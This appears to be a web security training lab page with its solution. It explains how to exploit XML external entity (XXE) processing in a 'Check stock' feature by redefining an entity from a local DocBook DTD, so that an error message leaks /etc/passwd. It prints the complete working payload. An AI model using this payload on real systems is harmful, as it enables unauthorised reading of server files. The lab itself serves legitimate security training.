Lab: Exploiting XXE to retrieve data by repurposing a local DTD

EXPERT

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, trigger an error message containing the contents of the /etc/passwd file.

You'll need to reference an existing DTD file on the server and redefine an entity from it.

Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.

Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Insert the following parameter entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> This will import the Yelp DTD, then redefine the ISOamso entity, triggering an error message containing the contents of the /etc/passwd file.